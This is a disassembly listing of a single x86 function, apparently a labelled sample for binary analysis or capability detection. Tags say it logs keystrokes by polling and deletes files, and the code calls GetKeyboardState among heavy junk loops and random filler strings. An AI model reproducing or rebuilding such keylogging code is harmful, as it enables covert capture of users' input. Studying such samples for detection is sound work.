Function at 0x1001f2ee
Capabilities:
Delete file
Get common file path
Log keystrokes via polling

Disassembly:
mov eax, 0x100616c0
call fcn.10060588
sub esp, 0x678
push ebx
push esi
mov dword [ebp - 0x28], 0x4a9
xor ebx, ebx
cmp dword [ebp - 0x28], 0x783
push edi
mov dword [ebp - 0x10], esp
jle 0x1001f378
push ebx
push 0xcda
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], 0xb4a
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x38], ebx
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x1007cb18
and eax, edi
cdq
push edx
push eax
call fcn.10010bb7
inc ebx
cmp ebx, 0x7777
jl 0x1001f337
mov esi, dword [ebp - 0x24]
add dword [ebp - 0x20], esi
dec dword [ebp - 0x2c]
push 0
pop ebx
jne 0x1001f331
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x4e2b
jl 0x1001f327
inc edi
cmp edi, 0x3b1
jl 0x1001f324
mov dword [ebp - 0x2dc], 0x4914d2ed
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x28], 0x16a
jge 0x1001f39d
mov edx, str.ufhj_rwtmbwf_mqi_cnwia_jbwgwq_rpgzcx_uwvnhymeq_edxcjwbin_shoilhmxp_efpdgwao_aghqmdrzu_iqlkoa_qza
mov ecx, 0x1007cb18
call fcn.100134d2
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xa8], 0xffffffff
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x2cc], ebx
mov dword [ebp - 0x84], 0x632c5b64
mov dword [ebp - 0x16c], 0xfffffff8
push 2
call fcn.100013b5
push 6
pop edi
lea eax, [ebp - 0x420]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0x40], 0x63d2c82f
push eax
xor eax, eax
mov dword [ebp - 0x40], edi
inc eax
push eax
push ecx
mov ecx, 0x41d1
mov dword [ebp - 0x70], eax
call fcn.1001c837
add esp, 0x10
lea eax, [ebp - 0x2cc]
xor esi, esi
lea edx, [ebp - 0x84]
inc esi
push eax
push esi
lea eax, [ebp - 0x16c]
push eax
push ecx
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0xa8]
call fcn.1001df47
add esp, 0x14
mov dword [ebp - 0xa8], esi
cmp dword [ebp - 0xa8], ebx
jl 0x1001f65d
mov dword [ebp - 0x2e8], 0x280bfe73
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x31c], 0xee511904
mov dword [ebp - 0x40], 0x46df8000
mov dword [ebp - 0x40], ebx
push 2
call fcn.100013b5
push 0x7021
push 0x553a
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 3
push eax
push 0x75c8
xor eax, eax
lea ecx, [ebp - 0x284]
inc eax
xor dl, dl
push eax
push ecx
push 0x7a74
push eax
push 0x94a
push 0x1feb
push 0x66c6
mov ecx, 0x22c7
call fcn.1001e05f
add esp, 0x2c
mov dword [ebp - 0xb8], ebx
jmp 0x1001f501
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x498], 3
inc dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 4
jl 0x1001f4ea
lea eax, [ebp - 0x84]
xor esi, esi
push eax
sub esp, 0x18
lea eax, [ebp - 0x2e8]
inc esi
mov edx, 0x2fdc
push eax
push esi
push ecx
push 0x48c8
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.1001b820
add esp, 0x3c
mov dword [ebp - 0x84], ebx
jmp 0x1001f61a
push 4
lea ecx, [ebp - 0x26c]
call fcn.100013b5
mov byte [ebp - 4], 4
mov dword [ebp - 0x40], 0x9457720
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x1c], ebx
jmp 0x1001f597
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x26c]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1001f584
push 0x139d
lea eax, [ebp - 0x87]
mov byte [ebp - 0x87], bl
push eax
push 0x15fe
push 0x3acb
push 0xba9
push ebx
xor eax, eax
mov edx, 0x204a
inc eax
mov ecx, 0xeb9
push eax
push eax
push 0x6b48
push 0xe5
call fcn.1001c0f1
add esp, 0x28
dec dword [ebp - 0x494]
mov byte [ebp - 4], 3
cmp dword [ebp - 0x26c], 0
je 0x1001f611
push dword [ebp - 0x26c]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x264], ebx
inc dword [ebp - 0x84]
xor esi, esi
inc esi
cmp dword [ebp - 0x84], esi
jle 0x1001f559
mov byte [ebp - 4], 2
cmp dword [ebp - 0x284], 0
je 0x1001f651
push dword [ebp - 0x284]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x284], ebx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x27c], ebx
dec dword [ebp - 0xa8]
jns 0x1001f449
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1cc], 0
je 0x1001f688
push dword [ebp - 0x1cc]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1cc], ebx
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1c4], ebx
push ecx
push ecx
mov dl, 1
mov ecx, 0x74a4
call fcn.1001e3fd
pop ecx
xor eax, eax
pop ecx
mov ecx, dword [0x1007e828]
inc eax
test al, cl
jne 0x1001f6d9
or ecx, eax
mov dword [0x1007e828], ecx
mov dword [ebp - 4], 5
mov dword [0x1007e82c], ebx
mov dword [0x1007e830], ebx
call fcn.10025a4c
push 0x100624a0
mov dword [0x1007e82c], eax
call fcn.10048d16
or dword [ebp - 4], 0xffffffff
pop ecx
mov dword [ebp - 0x2c4], ebx
lea ecx, [ebp - 0x1b4]
push 3
call fcn.100013b5
push 0x3653
push 0x4008
push 0xf51
push 0x4337
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 4], edi
push ecx
push 0x716c
xor eax, eax
lea ecx, [ebp - 0x32c]
inc eax
mov edx, 0x63f2
push eax
push 0x5e7a
push ecx
push 0x561a
push 0x4886
push eax
push 0x1055
mov dword [ebp - 0x324], eax
mov ecx, 0x835
push eax
call fcn.1001b8fc
add esp, 0x38
mov byte [ebp - 0x89], bl
lea edx, [ebp - 0x89]
push 1
push ecx
call fcn.1001b9fd
pop ecx
pop ecx
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x1b4]
push eax
push ecx
lea eax, [ebp - 0x2c4]
push eax
push ecx
push 1
call fcn.10019c6b
or dword [ebp - 4], 0xffffffff
add esp, 0x18
cmp dword [ebp - 0x1b4], 0
je 0x1001f7aa
push dword [ebp - 0x1b4]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
cmp byte [0x1007dc5c], 0
jne 0x100233a7
mov dword [ebp - 0x1c], 0xb26bdde0
mov dword [ebp - 0x1c], ebx
jmp 0x1001f7d4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x504], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1001f7c3
mov dword [ebp - 0x1c], 0xffffffea
jmp 0x1001f8e2
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x68], ebx
jmp 0x1001f851
lea eax, [ebp - 0x180]
mov dword [ebp - 0x180], 0xe5a60d00
push eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x2c8], 0x3e8e1b88
push eax
push 0x64ba
push 0x28ec
mov cl, 1
call fcn.1001ba4a
xor eax, eax
mov edx, 0x2d1f
inc eax
mov ecx, 0x5d00
push eax
push eax
push ebx
lea eax, [ebp - 0x2c8]
push eax
push 0x47be
lea eax, [ebp - 0x180]
push 0x4653
push eax
call fcn.1001aa20
add esp, 0x2c
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 0x19
jg 0x1001f7ee
mov dword [ebp - 0x68], 3
cmp dword [ebp - 0x68], ebx
jl 0x1001f8df
push dword [ebp - 0x32c]
movdqa xmm0, xmmword [0x1006fcb0]
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x4a8]
mov dword [ebp - 0x1e4], ebx
push eax
push ebx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1e0], ebx
movdqu xmmword [ebp - 0x4a8], xmm0
mov dword [ebp - 0x1dc], ebx
call fcn.10013e5d
mov ecx, dword [ebp - 0x1e4]
mov dword [ecx + 0xc], ebx
mov eax, dword [ecx + 0xc]
inc dword [ecx + 0xc]
cmp dword [ecx + 0xc], 4
mov dword [ebp + eax*4 - 0x504], ebx
jl 0x1001f8ae
push ecx
call fcn.10048e11
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
dec dword [ebp - 0x68]
pop ecx
jns 0x1001f863
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jl 0x1001f7e6
push 0x1007dc5c
push 1
push 0x1017
mov ecx, 0x5695
call fcn.10019dae
mov dword [ebp - 0x28], 0x389f
add esp, 0xc
cmp dword [ebp - 0x28], 0x3943
jle 0x1001f985
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x24], 0x6a60
cdq
idiv esi
mov dword [ebp - 0x2c], edx
mov edi, ebx
mov ebx, dword [ebp - 0x2c]
mov eax, ebx
mov ecx, 0x1007cb18
xor eax, edi
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0x357c
jl 0x1001f937
dec ebx
dec dword [ebp - 0x24]
push 0
mov dword [ebp - 0x2c], ebx
pop ebx
jne 0x1001f932
mov edi, dword [ebp - 0x20]
inc esi
cmp esi, 0x35e
jl 0x1001f923
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x339d
jl 0x1001f921
push 0x1982
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 6
pop edi
mov dword [ebp - 4], 7
cmp dword [ebp - 0x28], 0x35ff
jge 0x1001f9a4
mov edx, str.eeuaavoy_fjorpsha_avpovg_tfdgharv_gyurzbgv_nmqi_qxkmzyq
mov ecx, 0x1007cb18
call fcn.100134d2
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0x18], ebx
jmp 0x1001f9f2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x638], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001f9e1
mov dword [ebp - 0x18], ebx
jmp 0x1001fa0e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x474], 0x4956e74e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001f9fd
push 0x2462
lea eax, [ebp - 0xc0]
xor dl, dl
push eax
push 0x15c1
push ecx
call fcn.1001eb71
add esp, 0x10
mov dword [ebp - 0xc0], ebx
cmp dword [ebp - 0xc0], 0x34
jge 0x1001fa97
xor ecx, ecx
inc ecx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0x836b16b
mov dword [ebp - 0x40], 0x7597a61e
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0x5b14f4e7
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1001fa80
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x340], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1001fa6f
inc dword [ebp - 0x2c]
inc dword [ebp - 0xc0]
cmp dword [ebp - 0xc0], 0x34
jl 0x1001fa41
push 2
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x168], 0x10079b30
call fcn.100013b5
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 9
push eax
push 0x3379
push ecx
push ecx
lea eax, [ebp - 0x98]
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x28], 0x7a10dd66
mov edx, 0x14ed
mov dword [ebp - 0x2c], ebx
mov cl, 1
push eax
call fcn.1001c978
add esp, 0x14
mov dword [ebp - 0x98], ebx
jmp 0x1001fb09
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x468], 0xffffffff
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 2
jl 0x1001faf2
mov eax, dword [ebp - 0x220]
xor esi, esi
inc esi
cmp esi, dword [eax]
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x220]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, dword [edx + 4]
setl al
imul eax, dword [edx]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
add eax, 0xffff0000
neg eax
sbb eax, eax
inc eax
cmp dword [edx + 4], eax
jg 0x1001fb5e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x220]
xor ecx, ecx
inc ecx
push eax
mov dword [eax], ecx
mov dword [ebp - 0x464], ecx
or dword [ebp - 4], 0xffffffff
call fcn.10048e11
pop ecx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x11c], 0xc
mov dword [ebp - 0x1c], 0xb26bdde0
mov dword [ebp - 0x1c], ebx
jmp 0x1001fbb9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x524], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1001fba8
mov dword [ebp - 0x1c], 0xffffffea
jmp 0x1001fc7a
push 0x4fe9
push ecx
mov dword [ebp - 0xe8], edi
lea edx, [ebp - 0xe8]
mov cl, 1
call fcn.10019dcf
pop ecx
mov dword [ebp - 0xe8], 3
pop ecx
cmp dword [ebp - 0xe8], ebx
jl 0x1001fc77
push dword [ebp - 0x340]
movdqa xmm0, xmmword [0x1006fcb0]
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x1fc], ebx
push eax
push ebx
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x1f8], ebx
movdqu xmmword [ebp - 0x4c8], xmm0
mov dword [ebp - 0x1f4], ebx
call fcn.10013e5d
mov ecx, dword [ebp - 0x1fc]
mov dword [ecx + 0xc], ebx
mov eax, dword [ecx + 0xc]
inc dword [ecx + 0xc]
cmp dword [ecx + 0xc], 4
mov dword [ebp + eax*4 - 0x524], ebx
jl 0x1001fc43
push ecx
call fcn.10048e11
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x1f4], ebx
dec dword [ebp - 0xe8]
pop ecx
jns 0x1001fbf8
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jl 0x1001fbcb
mov ecx, dword [ebp - 0x11c]
mov al, byte [0x10079b30]
cmp al, byte [ecx + 0x10079b30]
je 0x1001fcaf
inc ecx
mov dword [ebp - 0x11c], ecx
cmp ecx, 0xe0
jl 0x1001fb9c
jmp 0x1001fe70
mov dword [ebp - 0x40], 0xeac8b13e
lea ecx, [ebp - 0x33c]
push 1
call fcn.100013b5
mov dword [ebp - 4], 0xa
xor edx, edx
mov dword [ebp - 0x104], 0xb16b
inc edx
mov dword [ebp - 0x30], 0x9753
mov dword [ebp - 0x38], 0x31aa
mov dword [ebp - 0x2c], 0x8c556123
mov dword [ebp - 0x18], ebx
jmp 0x1001fd04
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x33c]
mov dword [eax + ecx*4], 0x3fcb50bf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001fcf1
mov dword [ebp - 0x18], ebx
jmp 0x1001fd1f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2f0], 0x2a1e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001fd0e
push edx
push 0x7fa7
push 0x2339
push edx
push 0x6e84
push 0x4df9
push 0x4555
push 0x3438
lea edx, [ebp - 0x104]
mov cl, 1
call fcn.1001ba8a
mov ecx, dword [ebp - 0x2f0]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setge dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x104]
imul ecx, eax
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x104]
setg dl
xor ecx, ecx
sub edx, 0xfff6
cmp eax, 0x3d188047
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x38], edx
setne cl
xor edx, edx
cmp ecx, dword [ebp - 0x38]
push eax
setle dl
inc edx
neg edx
sbb edx, edx
or dword [ebp - 4], 0xffffffff
inc edx
mov dword [eax], edx
call fcn.10048e11
add esp, 0x24
mov dword [ebp - 0x33c], ebx
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x338], ebx
mov dl, 1
mov dword [ebp - 0x334], ebx
push 0x36cd
push ecx
push 0x76d1
push eax
push 0x700a
push ecx
lea eax, [ebp - 0x118]
push eax
call fcn.10019e79
mov dword [ebp - 0x1c], 0x42c70bb7
add esp, 0x1c
mov dword [ebp - 0x1c], ebx
jmp 0x1001fe0e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x59c], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001fdfd
push 1
push 0x286e
push ecx
mov byte [ebp - 0x7f], bl
lea ecx, [ebp - 0x7f]
mov edx, 0x4326
call fcn.1001bc6f
mov dword [ebp - 0x1c], ebx
add esp, 0xc
cmp dword [ebp - 0x1c], 2
jg 0x1001fe70
xor ebx, ebx
inc ebx
push 0x1cbd
push 0x7ca1
push ebx
push 0x6c98
push 0x9c8
push ebx
push 0x6fbe
xor dl, dl
mov ecx, 0x1096
call fcn.1001ea5e
add esp, 0x1c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1001fe3b
xor ebx, ebx
mov dword [ebp - 0x34], 0x5a05
cmp dword [ebp - 0x34], 0x5b60
jle 0x1001fef7
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov eax, esi
mov dword [ebp - 0x20], 0x1800
mov dword [ebp - 0x24], eax
mov esi, eax
mov dword [ebp - 0x2c], 0x5fed
mov eax, edi
lea ecx, [ebp - 0x614]
or eax, esi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001feb8
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x614]
call fcn.10001516
dec esi
dec dword [ebp - 0x2c]
jne 0x1001fe9c
mov eax, dword [ebp - 0x24]
dec eax
dec dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
jne 0x1001fe93
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x3d81
jl 0x1001fe87
inc edi
cmp edi, 0x6195
jl 0x1001fe82
mov dword [ebp - 0x1c], 0xb26bdde0
cmp dword [ebp - 0x34], 0x5889
jge 0x1001ff12
push str.ard_aojq_hgr_xzdjxljmr_rzko_lvbyyy_talrhmagi_brzr_avnl_wizpx_lcl_hgu
call fcn.10048d40
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0x16
jmp 0x1001ff45
mov dword [ebp - 0x38], 0x18d58162
cmp dword [ebp - 0x38], ebx
jne 0x1001ff4b
push ecx
push ebx
mov byte [ebp - 0x88], bl
lea edx, [ebp - 0x88]
push ecx
call fcn.1001ef91
add esp, 0xc
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff7
jg 0x1001ff1f
lea eax, [ebp - 0x77]
mov dword [ebp - 0x350], 4
push ebx
mov dword [ebp - 0x40], 0xec2e0cf5
mov dl, 1
mov byte [ebp - 0x77], bl
xor cl, cl
push eax
call fcn.1001e7a4
xor eax, eax
mov byte [ebp - 0x85], bl
inc eax
lea ecx, [ebp - 0x85]
push eax
push 0x2bb0
push eax
mov dl, al
call fcn.1001bdc6
mov dword [ebp - 0xd8], 0x10079c10
add esp, 0x14
mov dword [ebp - 0x1c], ebx
jmp 0x1001ffa9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x34c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001ff9c
mov dword [ebp - 0x34c], ebx
jmp 0x1002000e
mov byte [ebp - 0x51], bl
cmp byte [ebp - 0x51], 0
je 0x10020008
push 0x3a60
push ebx
push 0x570
push 0x32a6
push 0x7d79
push 0x7122
push 0x69ed
push 1
push 0x16be
push ebx
push 0x7606
push 0x783e
push 0x5421
mov edx, 0x11e7
mov ecx, 0x2688
call fcn.1001d859
add esp, 0x34
inc dword [ebp - 0x34c]
cmp dword [ebp - 0x34c], 8
jle 0x1001ffb7
mov al, byte [0x10079c10]
mov byte [ebp - 0x52], al
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x2c], 0x5b1d
cmp dword [ebp - 0x2c], 0x5d1d
jle 0x1002005d
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1007cb18
and eax, esi
cdq
push edx
push eax
call fcn.10010bb7
inc edi
cmp edi, 0x2f51
jl 0x1002003a
inc esi
cmp esi, 0x6df4
jl 0x10020038
mov dword [ebp - 0xf0], 1
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x2c], 0x58b1
jge 0x10020086
mov edx, str.cqz_ylds_til_aybcwplt_egxzzcb_qhw_kwzwctp_irpn
mov ecx, 0x1007cb18
call fcn.100134d2
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], 0x1004
cmp dword [ebp - 0x24], 0x120d
jle 0x100200e4
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x2c], 0x593f
mov eax, edi
lea ecx, [ebp - 0x53c]
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100200bf
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x53c]
call fcn.10001516
add edi, esi
dec dword [ebp - 0x2c]
jne 0x100200a5
inc esi
cmp esi, 0x1c7b
jl 0x1002009c
mov edi, 0xfffd
mov dword [ebp - 0x9c], edi
cmp dword [ebp - 0x24], 0xd80
jge 0x10020103
push str.kkduzhc_twqtmkzva_dgvqi_ukf_zhkxszscj_rcdlxdh_lserurewy
call fcn.10048d40
pop ecx
or dword [ebp - 4], 0xffffffff
push 0xa
pop eax
mov dword [ebp - 0x50], eax
jmp 0x10020163
lea eax, [ebp - 0x75]
mov byte [ebp - 0x75], bl
push eax
push ecx
push ecx
mov cl, 1
call fcn.1001c03c
add esp, 0xc
xor dl, dl
push 0x7e2d
sub esp, 0xc
call fcn.1001ad2f
add esp, 0x10
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffe2
jg 0x1002013b
mov ecx, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x50]
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
neg ecx
jne 0x1002018e
cmp dword [ebp - 0x50], ebx
jne 0x1002018e
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x9229
setg al
cmp dword [ebp - 0x50], eax
jl 0x1002021d
push 0x38f5
push 0x4d1c
lea eax, [ebp - 0x50]
mov dword [ebp - 0x2ec], 0x506946cb
push eax
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x2d0], 0x85d5fca4
push eax
xor eax, eax
lea ecx, [ebp - 0x2ec]
inc eax
mov edx, 0x7dd9
push 0x1aca
push eax
push eax
push eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.1001c0f1
add esp, 0x28
jmp 0x10020315
push 2
lea ecx, [ebp - 0x238]
call fcn.100013b5
push ebx
push 0x6b89
push 0x5a24
xor eax, eax
mov dword [ebp - 4], 0x11
inc eax
lea ecx, [ebp - 0x450]
push eax
push ecx
lea ecx, [ebp - 0x238]
mov edx, 0x7246
push 0xbf1
push ecx
push 0x2305
mov cl, al
call fcn.1001ba8a
add esp, 0x20
mov dword [ebp - 0x9c], ebx
jmp 0x100202df
push 0xa65
push 0x6cc3
push eax
push 0x768a
push eax
push eax
lea eax, [ebp - 0x7e]
mov byte [ebp - 0x7e], bl
push eax
mov edx, 0x5bf6
mov ecx, 0x2835
call fcn.1001c2a8
add esp, 0x1c
lea eax, [ebp - 0x238]
mov edx, 0x750a
push eax
push 0x26bf
push 0x6c82
push ecx
lea eax, [ebp - 0xf0]
mov ecx, 0x4087
push eax
push 0x110e
push 1
sub esp, 0xc
push 0x38ee
push 0x3cf9
call fcn.1001c44b
add esp, 0x30
inc dword [ebp - 0x9c]
xor eax, eax
inc eax
cmp dword [ebp - 0x9c], eax
jle 0x1002026f
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x238], 0
je 0x10020315
push dword [ebp - 0x238]
call fcn.10048e11
pop ecx
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x230], ebx
mov dl, byte [0x10079b30]
mov cl, byte [0x10079c10]
call fcn.10025a77
mov byte [0x10079c10], al
mov dword [ebp - 0x74], 0x860b4ffb
mov dword [ebp - 0x38], 0xa4ccfd66
mov dword [ebp - 0x18], ebx
jmp 0x1002034f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3d0], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002033e
mov dword [ebp - 0x18], ebx
jmp 0x1002036b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4f4], 0x9dbc9b78
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002035a
lea eax, [ebp - 0x74]
mov edx, 0x267
push eax
push 0x93f
push 0x4b9f
xor eax, eax
mov ecx, 0x35a4
inc eax
push eax
push 0x7f40
push ebx
push eax
call fcn.1001d272
add esp, 0x1c
cmp dword [ebp - 0x74], ebx
jne 0x100203f8
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
add edx, 0xa7902a2a
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
xor esi, esi
mov dword [ebp - 0x38], ecx
xor edx, edx
mov eax, dword [ebp - 0x3d0]
inc esi
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x3cc]
cmp eax, esi
mov eax, dword [ebp - 0x3cc]
setge dl
xor ecx, ecx
cmp edx, eax
sete cl
sub edi, ecx
mov dword [ebp - 0x74], edi
jne 0x100203f8
cmp dword [ebp - 0x74], ebx
jne 0x100203f8
xor ecx, ecx
mov eax, ebx
inc ecx
jmp 0x100203fd
xor ecx, ecx
inc ecx
mov eax, ecx
mov esi, dword [ebp - 0xd8]
mov edi, ecx
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x1c], edi
mov edx, 0xd24b5e49
cmp edi, 4
jge 0x10020749
mov al, byte [edi + esi]
mov byte [ebp - 0x5d], al
push 6
pop esi
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0xe4], 0xfffffffc
mov dword [ebp - 0x100], ecx
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x3fc], edx
mov dword [ebp - 0x3f8], edx
mov dword [ebp - 0x3f4], edx
mov dword [ebp - 0x3f0], edx
push 4
call fcn.100013b5
push 1
push 0x5287
push 0x36a8
push ebx
push 0x68f8
mov dword [ebp - 4], 0x12
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 0x460], 0x809b4af7
lea eax, [ebp - 0x404]
mov dword [ebp - 0x300], 0x64e48c0c
mov edx, 0x7144
push 0x3304
mov dword [ebp - 0x328], 0xfffffff7
xor cl, cl
mov dword [ebp - 0x40], 8
push eax
call fcn.1001ba8a
mov eax, dword [ebp - 0x10c]
add esp, 0x20
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], ebx
jne 0x1002064b
mov ecx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0xe4]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
test eax, eax
jne 0x10020500
cmp dword [ebp - 0xe4], ebx
jne 0x10020500
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x100], 0xfffffffc
cmp dword [ebp - 0x100], 0xffff
sbb ecx, ecx
neg ecx
sub ecx, 9
